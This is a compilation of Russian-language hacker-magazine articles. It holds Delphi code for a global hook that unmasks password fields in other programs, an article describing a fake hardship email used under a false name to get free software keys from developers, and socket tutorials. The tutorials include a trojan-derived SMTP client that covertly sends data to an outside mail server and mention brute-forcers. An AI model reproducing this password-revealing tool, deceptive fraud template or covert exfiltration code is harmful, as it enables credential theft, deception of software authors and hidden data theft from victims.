       SendMessage(Wnd, em_setpasswordchar, 0, 0);
       // Перерисовать окно.
       InvalidateRect(Wnd, nil, true);
      end;
  end;
end;
// Процедура запуска.
procedure RunStopHook(State : Boolean) export; stdcall;
begin
 // Если State = true, то...
 if State=true then
 begin
   // Запускаем ловушку.
   SysHook := SetWindowsHookEx(WH_GETMESSAGE,
      @SysMsgProc, HInstance, 0);
 end
 else// Иначе
 begin
   // Отключить ловушку.
   UnhookWindowsHookEx(SysHook);
   SysHook := 0;
 end;
end;
exports RunStopHook index 1;
begin
end.

Теория:

Самое основное в нашей DLL – это процедура RunStopHook. Ей передаётся один только параметр. Если он равен true, то я регистрирую ловушку, которая будет ловить все сообщения Windows на себя. Для этого используется функция SetWindowsHookEx. У этой функции четыре параметра:

Тип ловушки. Я указал WH_GETMESSAGE, которая ловит все сообщения. Указатель на функцию, которой будут пересылаться сообщения Windows. Указатель на приложение. Идентификатор потока. Если ноль, то используется текущий.

В качестве второго параметра я указал имя функции SysMsgProc. Она так же описана в этой dll. Давай на неё посмотрим.

Ловушка для сообщений:

В первой строке я передаю пойманное сообщение остальным ловушкам установленным в системе с помощью CallNextHookEx. После этого я получаю окно сгенерировавшее событие и проверяю тип события. Если была кликнута левая кнопка крысы и удержана пимпа Control, то убрать звёздочки.

Я не могу больше останавливаться на этой DLL потому что моя рубрика не резиновая. Придётся тебе разбираться с происходящим по комментариям.

Юзаем DLL:

Теперь напишем прогу, которая будет загружать DLL и запускать ловушку. Для этого создай новый проект (такие мы уже создавали). Перейди в исходник, и найди раздел var. Рядом должно быть написано что-то типа «Form1: TForm1». Допиши сюда строку:

procedure RunStopHook(State : Boolean) stdcall; external 'hackpass.dll' index 1; 

В этой строке я объясняю Delphi, что есть такая функция RunStopHook, которая находится в написанной мной библиотеке hackpass.dll и её индекс = 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно конечно же и по имени, но это будет немного медленней.

Теперь создай обработчик события для формы OnShow и напиши там:

RunStopHook(true); 

И наконец создай обработчик события OnClose и напиши:

RunStopHook(false); 

Кранты паролям:

Всё наше приложение готово. Запусти его. Потом перейди в окно со строкой ввода и кликни там левой кнопкой крысы удерживая Control. Звёздочки моментально превратятся в реальный текст.

Для большего эффекта можешь бросить на форму проги загружающей DLL, какую-нибудь картинку. Ну а если что-то не понятно, то просто тренируйся. Со временем всё само придёт. Главное практика.

Социальная инженерия в реверс инженеринге.

Автор: Bad_guy WEB сайт: http://cracklab.narod.ru Недавно меня посетила мысль: "Описания какого взлома не хватает на моем сайте CRACKL@B ?". Ответ пришел незамедлительно: "Взлома методом социальной инженерии.", что ж: сказано - сделано ! За все время своей крэкерской карьеры я не раз встречал множество статей с описаниями множества способов взлома программ - чего там только не было... однако мне ни разу не доводилось встречать описания взлома методом социальной инженерии, хотя такой метод и был отмечен в классификации способов взлома. Не знаю почему никто в Рунете не хотел описывать до меня такой интересный и аватюристский метод взлома, как социальная инженерия, может быть многие крэкеры считают это ниже своего достоинства или просто тычутся между стенками разнообразных крэкерских утилит забывая об альтернативных способах взлома ? Надеюсь, что эта статья приобретет скандальную известность в крэкерских кругах и откроет большому числу крэкеров новые непознанные пути... а теперь - в путь ! На всякий случай, давайте сначала определим что же такое Социальная Инженерия (СИ). СИ - это некоторые действия над человеческим сознанием с целью получения желаемого результата. Поэтому сегодня вы узнаете скорее не как взломать shareware-программу, а как взломать shareware-автора. Первый этап - выбор цели С целью получения некоторых статистических данных о методе социальной инженерии в реверс инженеринге, было решено взломать не одну, а пять программ, с авторами первых двух программ я когда-то немного общался, поэтому решил взять их программы, остальные три программы были выбраны следующим образом: у меня на диске был старый каталог download.ru, я зашел на главную страницу, выбрал раздел "Мультимедиа и графика", затем раздел "графические редакторы" - на той странице и находились все эти программы, они были выбраны так, чтобы автором был частный разработчик и чтобы цена была не менее 100 рублей, но и не более 500, а также, чтобы программа была рассчитана на обычного юзера и ее версия не была последней выпущенной, кстати, скачивать те программы я не стал за ненадобностью, а из первых двух я иногда использую только Advanced Video Poker, который уже давно взломал обычным способом. Был составлен такой список (там присутствовал еще e-mail автора):

!ВНИМАНИЕ! Некоторые нижеследующие грамматические ошибки допущены намерено, как часть общего замысла.

%PROGRAM% %AUTHOR% %PRICE%
ZSKSoft Synchronizer 1.11 колектив ZSKSoft 100 руб.
Advanced Video Poker 1.30.1 колектив Aimgames 20$
WaveL Pic2Pic Pro 1.7 Леонид Николаевич 200 руб.
VCW VicMans Photo Editor 5.43 Виктор 150 руб.
QuickPic SchemCreator 3.2 Владислав Николаевич 4$

Далее на e-mail авторам было отправлено такое сообщение:

Subject: %PROGRAM%
Здраствуйте, уважаемый %AUTHOR%.
Мне очень нравится ваша программа %PROGRAM% - я пользуюсь ей 
почти каждый день и хотел бы стать зарегистрированным пользователем, 
но сумма, которую надо заплатить очень велика. У нас многодетная 
семья 5 детей, мы живем на 120 рублей в день и еле сводим концы с 
концами, поэтому родители не позволяют мне заплатить за вашу 
программу, не могли бы вы дать мне бесплатную регистрацию, я буду 
вам очень-очень благодарен за это !
Поверьте, я действительно очень хотел бы ее купить, но у меня нет 
денег даже на модем и интернет (я отсылаю вам это письмо от друга), 
а старенький компьютер нам подарил сосед-програмист.
Огромное спасибо!
Шепелев Антон.
Адрес электроной почты: sam*****@yandex.ru
Если я вам стал противен после прочтения текста этого письма, значит вы еще не совсем Bad_guy. На всякий случай скажу, что все в этом письме чистая неправда, а то вы меня еще жалеть начнете. Так, первый этап взлома был совершен, и, в принципе, в ответном письме я должен был получить регистрационные коды от всех программ, но не так все просто, как хотелось... Второй этап - доламывание. На следующий день в ящике sam*****@yandex.ru меня ждали 3 письма, но в них были не регистрационные коды, а всяческий флейм, поэтому на все три мне пришлось ответить, давайте, чтобы не создавать путаницу, разберемся теперь до конца с каждой программой. ZSKSoft Synchronizer 1.11

От создателя этой программы я получил следующее письмо:

Здравствуйте Антон,
Спасибо Вам за интерес к нашей программе. Мы готовы дать Вам
бесплатную регистрацию в обмен на небольшой отчет следующего
содержания:
- для чего Вам нужен ZSKSoft Synchronizer, как Вы его используете
  (желательно подробно);
- что Вам нравится в программе, что не нравится, что хотелось бы
  видеть в будущих версиях;
- чем Вам не подходит бесплатная программа vuBrief:
  http://www.vu-software.spb.ru/brief/
- характеристики Вашего компьютера: процессор, обьем памяти, размер
  диска, операционная система.
С уважением,
 Сергей Зырянов
 http://www.zsk****.com/rus
 support@zsk****.com
Надо сказать, этот ответ меня сильно повеселил, я еще раз убедился в предприимчивости отечественных шароварщиков.

Хотел было не отвечать, лень было изучать программу, но потом решил все таки пойти до конца, почитал help-файл, попробовал и выдал следующий текст, вжившись в положение Шепелева Антона.

Здраствуйте, Сергей.
Огромное спасибо за ответ, я рад что смогу вам чем-то помочь 
в обмен на регистрацию, вот мой отчет:
1. Я использую ZSync для ежедневного резервного копирования 
файлов doc и rtf на дискету (я занимаюсь набором рукописей), 
дело в том что жесткий диск компьютера начал уменьшатся в 
размере ежедневно (хозяин сказал, что это обычное 
явление для старых дисков) - однажды я потерял весь свой труд.
2. По началу использования программы мне было сложно ее освоить, 
я не сразу понял что есть что, но потом так привык к ней, что 
немогу себе представить, что я буду без нее делать. Особенно 
нравится мне выбор типов файлов для копирования.
3. Про vuBrief я ничего не знаю, потому что не имею личного 
доступа к интернету, может быть она и подошла бы, кстати вашу 
программу мне дали на диске, кажется "системные утилиты".
4. Компьютер: Pentium-90, 16 мегабайт оперативной памяти, 
жесткий диск - 1 гигабайт, Windows 98.
Еще раз спасибо !
Шепелев Антон.
Это письмо я отправил через пару дней (у Антона же нет интернета - он ходит к другу, разумеется, не каждый день), да и отправлял через Web-интерфейс - новички обычно оттуда письма пишут.

На следующий день я получил такое замечательное письмо:

Уважаемый Антон,
Спасибо Вам за регистрацию ZSKSoft Synchronizer.
Файл с Вашим личным ключом регистрации (ZSync.key) находится во
вложении к этому письму. Помните, что лицензия на использование
ZSKSoft Synchronizer предоставлена лично Вам, передача кому либо или
публикация ключа влечет немедленное и автоматическое прекращение Вашей
лицензии.
Для регистрации программы выполните следующие шаги:
(предварительно ознакомьтесь с примечанием в конце письма)
1. Убедитесь, что у Вас установлена последняя версия. Для этого
запустите ZSKSoft Synchronizer и откройте окно "О программе" (пункт
меню "Помощь"/"О программе") - там должна быть строчка "Версия 1.21".
При необходимости скачайте и установите последнюю версию с
http://www.zsk****.com/rus/ZSyncSetup.zip. После установки запустите
ZSKSoft Synchronizer хотя бы один раз.
2. Откройте вложенный в письмо файл ZSync.key (наведите на него
указатель мыши и дважды щелкните, это можно сделать прямо в почтовой
программе). Если появится вопрос "Добавить в реестр информацию...?",
ответьте "Да". Вы увидите такое сообщение: "Данные из ZSync.key были
успешно внесены в реестр" либо "Information in ZSync.key has been
succesffully entered into the registry".
3. Запустите ZSKSoft Synchronizer, и Вы должны увидеть свое имя в
графе "Зарегистрировано:" в диалоговом окне "Помощь"/"О программе".
Если Вы потеряете файл ZSync.key и Вам понадобится переустановить
ZSKSoft Synchronizer - напишите в нашу службу технической поддержки
support@zsk****.com, и мы пришлем Вам ключ снова.
 
Как зарегистрированный пользователь Вы можете бесплатно скачивать все
обновления и новые версии программы с нашего сайта в течении 1 года с
момента регистрации. Если у Вас появятся затруднения в работе с
программой, мы всегда будем рады Вам помочь. Также мы с удовольствием
примем от Вас любые замечания, предложения и комментарии и постараемся
воплотить их в будущих версиях.
====================================================================
Это ключ должен без проблем подойти к Вашей версии ZSync (1.11).
Перенесите файл ZSync.key на свой компьютер и щелкните по нему в
проводнике Windows. Если что-то не получится - пишите, поможем.
Последняя версия (1.21) отличается от Вашей следующим:
  - может сравнивать содержимое файлов, т.е. показывать, что именно
    там изменилось. Это удобно для текстовых файлов, для doc и rtf
    вряд ли пригодится, т.к. у них довольно-таки нечитабельный формат
  - можно выбирать каталог в локальной сети
  - можно проверять изменившиеся файлы не по дате/времени, а по
    содержимому. Это бывает полезно, скажем, для обьектных файлов; а в
    Вашем случае разве что замедлит работу с дискетой.
В общем, можете не беспокоится о том, что Ваша версия немного
устарела.
    
С уважением,
 Сергей Зырянов
 http://www.zsk****.com/rus
 support@zsk****.com
Скажу на всякий случай, что программа была защищена АSРrоtесt'ом, то есть я получил ключ, который никогда не смог бы в точности сгенерировать самостоятельно, отсюда вывод: "Никакой ASProtect не поможет против ..." - окончание фразы будет выглядеть, как вам больше нравится. Ладно, перейдем к: Advanced Video Poker 1.30.1 Александр Самсонов, который является автором этой программы, не ответил на мое письмо, тому можно найти много объяснений, наиболее вероятное: Он один из строителей русского shareware, что может говорить об одном из следующего: - ему наплевать на всяких пацанов без денег; - у него слишком много почты и ее обрабатывает некто со строгими инструкциями; - он подумал: "может мне крэкер писал ?" - либо он подумал: "обойдется этот парень и без моей игрушки". Кстати, если Александр Самсонов читает эту статью может он сам мне скажет, что он подумал, хотя вряд ли он будет помогать какому-то там крэкеру. WaveL Pic2Pic Pro 1.7 Автор этой программы очень оперативно отвечает на почту, видимо он ярый интернетчик и неплохой специалист, что подтверждается использованием в защите программы протектора Armadillo, но меня этой сильно бесит в связи с несовместимостью Armadillo с SоftIсе'ом.

Вот что он мне ответил на мое первое письмо:

Здравствуйте,
Большое спасибо за письмо, я рад что вам понравилась наша программа. Сейчас
доступна версия 2.6 которая имеет более удобный интерфейс, больше функций и
меньше ошибок. Скачать ее можно отсюда:
http://www.*****software.com/pc2pcpro.zip ~2.5Mb.
Для России у нас есть специальные цены, например Pic2Pic Pro стоит всего 200
рублей, купить ее можно здесь
http://www.shareg.com/req.php3?prodid=****&referer=29574 (страница с
информацией об оплате - http://www.shareg.net/clientfaq.php3). Мы конечно
можем выслать вам регистрационный ключ бесплатно, но мне кажется что 200
рублей не большие деньги за такую программу. Вы как считаете?
С уважением,
Леонид Паршуков
support@*****software.com
http://www.*****software.com

Надо сказать тут более легко и просто все получается, нежели в первом случае, но, похоже, автор не очень проникся положением Шепелева Антона. В ответ я черканул ему такое письмо:

Здраствуйте, Леонид.
Огромное спасибо, что вы ответили. Сейчас хотел загрузить версию 2.6, но друг мне
не разрешил, сказав, что это долго. 
Я считаю, что WaveL Pic2Pic Pro достойна своей цены и даже большего, но такие 
деньги я смогу получить может быть только на день рождения, в октябре, я знал,
что цена программы 200 рублей, пиша первое письмо поэтому и обратился к вам.
Буду очень вам благодарен, если вы сможете выслать регистрационый ключ.
Спасибо!
Шепелев Антон.

А вот и долгожданное письмо:

Здравствуйте,
Хорошо, можете использовать эту регистрационную информацию:
Name - Shepelev Anton
Key - ****-F884-****-CAB4-355C-32CD-530C-58CC-ABC2
Помните, что это конфиденциальная информация, пожалуйста, не распространяйте
ее.
С уважением,
Леонид Паршуков
support@*****software.com
http://www.*****software.com
Все бы хорошо, но не было у меня версии 1.7, а скачав 2.6 я убедился, что ключ к ней не подходит, ладно, может погляжу ее потом. Кстати **** в ключе это я написал, потому как распространение серийных номеров в цели этой статьи не входит. VCW VicMans Photo Editor 5.43 На страницах download.ru автор называет себя, как: Victor Sazhin VCW, "что-то очень похоже это на имя крэкера/хакера" - подумал я тогда, особенно это загадочное "VCW". Короче говоря, ответа от него я не получил. QuickPic SchemCreator 3.2

Здесь все прошло гораздо проще:

Здравствуйте, Антон
Присылайте регистрационное имя для первого варианта регистрации, см. меню
Помощь\Зарегистрировать
С уважением, Владислав, icq #125695458
Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru
QuickPic SchemCreator 3.4.x - редактор электрических схем.

Пришлось, однако, скачать, чтобы регистрационное имя узнать.

Здраствуйте, Владислав Николаевич.
Еще раз огромное спасибо, вот регистрационое имя:
8080-0A6C
Шепелев Антон.

Вот и наш серийник:

Здравствуйте Антон и Олег !
Вот регистрационные данные, вводите их аккуратно, иначе программа будут работать 
некорректно, и придется разрегистрировать программу (там же , в менню Помощь) и 
снова вводить:
8080-0A6C
10575921062********
Удачи !
С уважением, Владислав, icq #125695458
Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru
QuickPic SchemCreator 3.4.x - редактор электрических схем.
На мой взгляд, автор так "кидается" серийниками, только из-за "хитрой" регистрации программы - она использует привязку к жесткому диску (будто мы не умеем писать кейгены). Серийник подошёл и я теперь могу "наслаждаться" этой программой, хотя вряд ли буду. Итоги 3 из 5 программ были зарегистрированы, все отозвавшиеся авторы прислали ключи, потребовалось порядка 4 дней на взлом, но он прошел без особых усилий (обычно за 4 дня я не наламываю 3 программы). Выводы Таким способом программы может ломать даже не крэкер. Заметьте, наши шароварщики страдают раздвоением личности, что заметно из фраз типа: "Если МНЕ это интересно..., МЫ сможем вам помочь". Не перевелись еще хорошие люди. Не пытайтесь так взламывать что-нибудь популярное, типа WinRAR. Эффективность социальной инженерии - 60% (в моем случае). Наши шароварщики очень хорошо знают (помнят) русский язык - это радует ! А теперь сломайте этим способом все ваши любимые программы и не забудьте выложить "крэки" в интернет - надо юзверям помогать ! Удачи вам в вашей деятельности, чем бы вы ни занимались, Bad_guy. Автор статьи: Bad_guy. Мои свежие статьи и еще 100 статей других авторов можно найти на CRACKL@B: http://cracklab.narod.ru/ Связаться со мной можно по e-mail: bad_guy@mailru.com, но я не делаю крэки по заказу и не высылаю крэки и серийные номера! Любые отзывы приветствуются !

Эта статья может свободно использоваться на любых сайтах, при условии полного сохранения содержания статьи, включая это предложение.

Сокеты 1.

Автор: Danil WEB-сайт: http://www.danil.dp.ua
Приходит девица под утро с интернет-тусовки, вся в синяках, заплаканная: - Мама! Меня хакнули!

В этой статье я немного расскажу о сокетах и о граблях, на которые я понаступал, программируя различные клиентские и серверные приложения на протоколе TCP/IP. Постараюсь объяснить простым языком для неспециалистов. Здесь будут даны самые начальные сведения и будет попытка обобщения. В некоторых статьях есть такая фраза - "для ... необходимо знать это и то, а для тех кто не знает - идите смотрите там, не знаю где". Теперь будет ясно "где"; и эти статьи, я думаю, могут быть справочником в дальнейшем. Будет рассмотренна работа с сокетами в m$ windows. Для программирования сокетов в никсах различие очень незначительны (все функции и структуры мелкософт постарался без изменений передрать) и основные из них рассмотрены в статьях, ссылки на которые приведены в конце, в разделе "Что еще почитать". Программа, использующая сокеты, может работать с одним сокетом или с множеством одноременно "открытых" сокетов (сокетный движок). Сразу стоит выделить различие между блокирующими (асинхронными) и неблокирующими (синхронными, требующими синхронизацию) сокетами.

Попытка соединения и приема данных может быть вызванна в блокирующем режиме (отправка всегда неблокирующая - просто добавление в очередь сокета данных). Это значит, что пока программа не соеденится или не примет данные, передача управления на следующий оператор не происходит. Это подходит для приложений, использующих один сокет, где ожидание приема данных обязательно, в программах с сокетным движком (много сокетов), где создается несколько отдельно работающих процессов с линейными алгоритмами и т.п.

Или же работа с сокетным движком может бытиь реализована в неблокирующеим режиме. При этом сразу же, не дожидаясь соединения или приема данных, происходит передача управления на следующий оператор программы. В последующем алгоритме необходимо использовать оператор select (переключение) и делать опросы сокетов на предмет приняты/нет данные. Обычно это выполняется в цикле - выход по установленному тайм-ауту (количество произведенных опросов сокета, при котором можно считать, что произошла ошибка или скорость соединения неудовлетворительна) или с использованием работы с назначением и реакцией сообщений операционной системы.

Итак, вначале некоторый ликбез. Программы, о которых пойдет речь ниже, делятся на клиенты и серверы. Вначале необходимо рассмотреть минимум используемых функций, для работы этих программ. В m$ windows работой с сокетами "заведует" winsock.dll. Для разных языков программирования синтаксис вызова функций из этой DLL незначителен. В Delphi, например, в катологе Source находится файл winsock.pas, который всего лишь объявляет нужные функции и структуры данных. При подгрузке модуля WinSock в uses, их можно вызывать с синтаксисом паскаля, но от этого принцип их работы не изменится. Кстати, не советовал бы использовать стандартные компоненты Delphi и Builder (TServerSocket, TClientSocket) из-за их глючности. Если не очень хочется использовать стандартные winsock-функции, то можно взять набор компонент Indy. Вот функции winsock:

int WSAStartup (WORD wVersionRequested, LPWSADATA lpWSAData);
говорит оси, что во всех процессах программы могут быть использованы функции WinSock. Должна вызываться самой первой.
int WSACleanup; 
"деинициализирует" WSAStartup.
SOCKET socket (int af, int type, int protocol); 
создает сокет. Второй параметр - вид данных, третий - вид протокола. Порт и адрес задается в функции bind (сервер) или connect (клиент).
int closesocket (SOCKET s); 
закрывает сокет.
int bind (SOCKET s, const struct sockaddr FAR* name, int namelen); 
ассоциирует адрес с сокетом. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера обычно указывается INADDR_ANY - любой).
int connect (SOCKET s, const struct sockaddr FAR* name, int namelen); 
функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).
int WSAAsyncSelect (SOCKET s, HWND hWnd, unsigned int wMsg, long lEvent); 
связывает сокет с получением сообщений окна. Обычно используется для сервера. При вызове этой функции, сообщения о соединении, чтении/записи данных в сокет и закрытии сокета можно обрабатывать в функции обработки сообщений от окна.
int select (int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout); 
контроль состояния сокета. Используется для неблокирующих вызовов, чтобы получить состояние сокета на данный момент, с использованием макросов FD_.
int WSAEventSelect (SOCKET s, WSAEVENT hEventObject, long lNetworkEvents); 
связывает сокет с получением сообщений операционной системы. Можно проинициализировать необходимый Event (см. документацию) и обрабатывать сообщения FD_ без использования окна m$ windows.
int send (SOCKET s, const char FAR * buf, int len, int flags); 
отправка данных. Помещает в очередь сокета s, кусок данных из buf, длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован.
int recv (SOCKET s, char FAR* buf, int len, int flags); 
получение данных.

Кстати, и в блокирующих и в неблокирующих сокетах, используется так или иначе функция [...]select. Только опрос о состоянии очереди сокета мы производим сами (неблокирующий режим) или это делает операционная система (блокирующий).

Преобразование адреса

Вот пример функции на Delphi, которая преобразует адрес из имени или спецификации ip4, в четырехбайтное значение, требующееся для структуры sockaddr_in, с которой работает сокет:

uses WinSock;
function d_addr(IPaddr : string) : Cardinal;
var
  pa: PChar;
  sa: TInAddr;
  Host: PHostEnt;
begin
  Result:=inet_addr(PChar(IPaddr));
  // Перевод если адреа не в ip4
  if Result=INADDR_NONE then
  begin
    host:=GetHostByName(PChar(IPaddr));
    if Host = nil then
      exit
    else
    begin
      // Преобразование
      pa := Host^.h_addr_list^;
      sa.S_un_b.s_b1 := pa[0];
      sa.S_un_b.s_b2 := pa[1];
      sa.S_un_b.s_b3 := pa[2];
      sa.S_un_b.s_b4 := pa[3];
      with TInAddr(sa).S_un_b do
        Result:=inet_addr(PChar(IntToStr(Ord(s_b1)) + '.' + IntToStr(Ord(s_b2)) + '.' +
        IntToStr(Ord(s_b3)) + '.' + IntToStr(Ord(s_b4))));
    end;
  end;
end;

Использование блокировки в некоторых программах:

Сервер. Проще говоря, задача сервера открыть порт на компьютере и "висеть", принимая команды или некоторые данные от клиента по инициализированному порту. Например, FTP-сервер открывает 21 порт и обрабатывая определенные команды от клиента, выполняет необходимые операции с файловой системой. POP3-сервер открывает 110 порт и занимается приемом электронных сообщений (e-mail). SMTP (25 порт) - отправка писем. TelNet (23), SSh (22) и т.д. Обычно используются блокирующие сокеты, потому что следующие за приемом данных операторы - это обработка принятых данных. Нет смысла делать передачу на них управления, пока эти данные не приняты. Сервер может "занять" несколько портов, принимать данные от множества клиентов, но все равно из-за постоянного опроса select инициализированных сокетов и черезчур больших требований к алгоритму корректной обработки данных, это не лучшее решение для сервера. Хотя есть исключения и все зависит от приверженности программиста к тому или иному способу. Клиент. Задача клиента - соедениться с сервером и посылать ему (принимать от него) данные. Естественно, если клиент пытается соедениться по порту, на котором по указанному адресу не "висит" сервер, то будет ошибка соединения. Если сервер проинициализирован на другой протокол (UDP, ICMP, TCP,...) или вид обмена данными, а клиент на другой, то соединение скорее всего произойдет, но обмен данными станет невозможен. В случае, если клиент работает с сокетным движком (несколько сокетов), то я обычно использую блокирующие сокеты, работающие каждый на своей нити (Threads) или процессе (Process) с минимальным приоритетом. Таким образом достигается необходимая многозадачность, параллельность работы и, в то же время, удобно обрабатывать принятые/отправленные данные в несинхронном режиме работы. Таким образом достигается упрощение алгоритма и минимальное количество выполняемых операций из-за того, что нет необходимости постоянно вызывать select. Различные сканеры, брутфорсеры. Задача - создать максимальное количество сокетов, поддерживаемое операционной системой для достижения максимальной скорости сканирования или перебора. Здесь надо очень хорошо продумывать сокетный движок. Предыдущий способ создания клиента хорош для относительно небольшого количества одновременно проинициализированных сокетов. Иначе, из-за очень большого количества однновременно запущенных процессов, повышается нагрузка на ядро системы. Здесь все зависит от скорости соединения и компьютерного "железа". Можно использовать как блокирующие, так и неблокирующие сокеты. При современном развитии компьютерного "железа" и относительно небольшой скорости соединения (DialUp, выделенка с низкой скоростью), я бы порекомендовал использовать способ, рассмотренный выше. Количество нитей 255 вполне "потянет" практически любой компьютер, а большее количество из-за скорости соединения использовать нет смысла. При очень хорошем канале (можно создать практически неограниченное количество сокетов) или не очень хорошем компьютере (всего один процесс обработки), надо все-таки использовать неблокирующие сокеты. Несмотря на эти преимущества, кроме рассмотренных недостатков синхронных сокетов, будет рассмотрено еще несколько в примерах, во второй статье.

Создание отдельной нити, процесса (Threads)

Для создания отдельного процесса обработки сокета при использовании сокетного движка (несколько сокетов, которые должны работать параллельно), необходимо этот процесс описать. Вот небольшой пример описания, создания и завершение процесса на Delphi:

uses WinSock;
//Описываем процесс как класс, типа TThread
type
  TScaner = class(TThread)
    Sock : TSocket;
  private
  protected
    procedure Execute; override;
    procedure Run;
end;
//забиваем место в памяти под процесс
var
  Scaner : TScaner;
//фунцция, вызываемая при создании процесса
procedure TScaner.Execute;
var
  
begin
  
  //запуск дополнительной фунцции процесса
  Synchronize(Run);
  //закрытие сокета
  closesocket(Sock)
  //Прервать процесс
  Terminate;
end;
//дополнительная фунцция
procedure TScaner.Run;
var
  
begin
  
end;
//программа
begin
  
  //создать процесс, но пока не запускать
  Scaner:=TScaner.Create(true);
  //Освободить память при прерывании процесса
  Scaner.FreeOnTerminate:=true;
  //установить приоритет
  Scaner.Priority:=tpLowest;
  //запустить процесс
  Scaner.Resume;
  
end.

Этот прием очень удобен, например, для вызова обработки сокета и прерывания по какой-либо клавише. На клавишу "Start" цепляем создание процесса, а на клавишу "Stop" - Scaner.Terminate. Можно также описать процедуру Terminate процесса, где будет closesocket. Этот процесс будет работать независимо от основной программы. Правда для синхронизации его с VCL главного окна, его необходимо немного дописать. Этот прием одинаково удобен и для неблокирующего (создается процесс, в котором уже идет цикл по select по множеству сокетов) и для блокирующего сокета (создается много процессов и для каждого свой сокет) при написании различных клиентов и сканеров. В частности, он использовался мной для написания моей многонитевой программы "DScan", которая включает универсальный клиент, сканер, брутфорсер и предоставленна со всеми исходниками.

Для получения первичных сведений, поданной информации вполне достаточно. Во второй части будут приводится примеры простейших программ с использованием сокета и с подробными комментариями.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 2 (Кодинг блокирующих сокетов).

Автор: Danil WEB-сайт: http://www.danil.dp.ua
Если каждый китаец напишет по строчке кода - они ж задавят Билла Гейтса насметрь.

Простейший клиент

Рассмотрим пример простейшего SMTP-клиента, отсылающего в скрытом режиме некоторую информацию на указанный e-mail. Пример возьмем из моей статьи Troyan #1. Используется блокирующий сокет. Рассмотрим более подробно немного измененный кусок на Delphi, отвечающий за инициализацию и соединение с SMTP-сервером:

// Адрес в нормальном виде SMTP-сервера
MySmtp:='freemail.ukr.net';
// Инициализируем сокетную DLL
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с SMTP-сервером
// Протокол - TCP/IP, получение данных - SOCK_STREAM 
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family := AF_INET;
// Порт SMTP-сервера - 25 
sin.sin_port := htons(25);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MySmtp);
// Соединение с сервером (адрес и порт указаны в структуре sin,
// sock - сокет для работы с указанным сервером по протоколу TCP/IP 
connect(sock,sin,sizeof(sin));

Отправка данных

Как уже говорилось в первой статье, send - это неблокирующая операция. Здесь есть небольшие грабли. Если нам необходимо отправить кусок данных ОПРЕДЕЛЕННОГО размера, то send может мгновенно положить в очередь кусок данных (сколько сможет), а остальное из-за неблокирующего режима просто не успеть отправить, перейдя на выполнение следующего кода. Т.к. эта функция возвращает количество отправленных байт, то можно написать функцию доотправки данных. Вот исходники на Delphi:

// DTrSend. первый параметр - буфер для отправки, второй параметр - длинна,
// третий параметр - сокет.
function DTrsend(Buf : string; LenStr : Cardinal; DTrsock : TSocket) : Cardinal;
var
  DopI, DopI1, DopI2, DopI3 : Integer;
begin
  Screen.Cursor:=crHourGlass;
  Result:=send(DTrsock,Buf,0,0);
  // Проверка соединения - отправка 0
  if Result=SOCKET_ERROR then
  begin
    Screen.Cursor:=crDefault;
    Application.MessageBox(PChar('Error send data. Server was disconnected,
    closed or not available.'), 'Error', mb_Ok + mb_TaskModal + mb_IconStop);
    closesocket(DTrsock);
    Result:=0;
    exit;
  end;
  // обнудение тайм-аута
  DopI:=0;
  // сколько отправлено
  DopI2:=0;
  // сколько нужно отправить
  DopI3:=LenStr;
  // цикл отправки
  while true do
  begin
    // отправка данных с нужной позиции нужного кол-ва
    DopI1:=send(DTrsock,Buf[DopI2+1],DopI3,0);
    // подсчет отправленного
    DopI2:=DopI2+DopI1;
    // подсчет сколько нужно отправить
    DopI3:=DopI3-DopI1;
    // если все отправили или тайм-аут - выход
    if (DopI2>=LenStr)or(DopI>666) then
      break;
    inc(DopI);
    sleep(100);
  end;
  Result:=DopI2;
  if Resultthen
    Screen.Cursor:=crDefault;
end;

А вот исходники на MASM:

; MySend. первый параметр - буфер для отправки, 
; второй параметр - длинна, третий параметр - сокет. 
MySend PROC StrSend : DWORD, LenStr : DWORD, clnt : DWORD
; edi указывает на буфер для отправки
mov edi, StrSend
; ebx - сколько нужно отправить
mov ebx, LenStr
; dll2 - сколько отправленно
mov dll2, 0
; dll0 - тайм-аут
mov dll0, 0
; Цикл отправки
.WHILE TRUE
; Отправка данных
invoke send, clnt, edi, ebx, 0
; Добавление в dll0 количества отправленных данных
add dll0, eax
; Если отправленно необходимое число - выход из цикла
mov eax, LenStr
.BREAK .IF ( dll0 >= eax )
; Если тайм-аут - выход из цикла
inc dll2
.BREAK .IF ( dll2 >= 666 )
; переставить указатель на позицию данных в буфере, которые еще не отправленны
add edi, dll0 
; пересчитать кол-во отправляемых данных
sub ebx, dll0
.ENDW
invoke Sleep,10 
ret
MySend ENDP

Также пишется и функции отправки данных. Только вместо send - recv. Только recv может работать на синхронном или асинхронном сокете или на сервере. Для клиента на блоктрующем сокете - все один к одному. Для неблокирующего сокета и сервера на блокирующем - см. ниже.

Клиент на асинхронном сокетном движке

Рассмотрим другую мою статью Взлом e-mail #1. Для создания сокетного движка использовались блокирующие сокеты и определенное количество отдельно работающих процессов. Каждый процесс содержал сокет. Еще один пример сокетного движка в асинхронном режиме можно посмотреть в моей программе "DScan v.1.2". Побольшому счету, эти два примера отличаются только созданием процессов работы с сокетами. Такой сокетный движок имеет свои преимущества по сравнению с неблокирующим режимом и свои недостатки. Преимущества в том, что оператор select вызывается в блокирующем режиме самой системой и нет постоянного цикла опроса, загружающего процессор. Плюс то, что все процессы работают отдельно и при возникновении какой-либо ошибки, процесс, в котором произошла ошибка, просто останавливается с последующим освобождением занятой им памяти. Остальные при этом продолжают работать. Как уже говорилось в первой статье, этот способ (по моему мнению) идеально подходит для DiulUp и не очень широкого канала при выделенке. Для очень хорошего канала и с очень большим количеством процессов, такой сокетный движок будет очень загружать ядро системы. Особенно это неприемлимо для win-9x/me, где отвратительно сделана многозадачность, распределение памяти, синхронизация и "синий экран" при многопоточных приложениях - обычное дело.

Простейший сервер

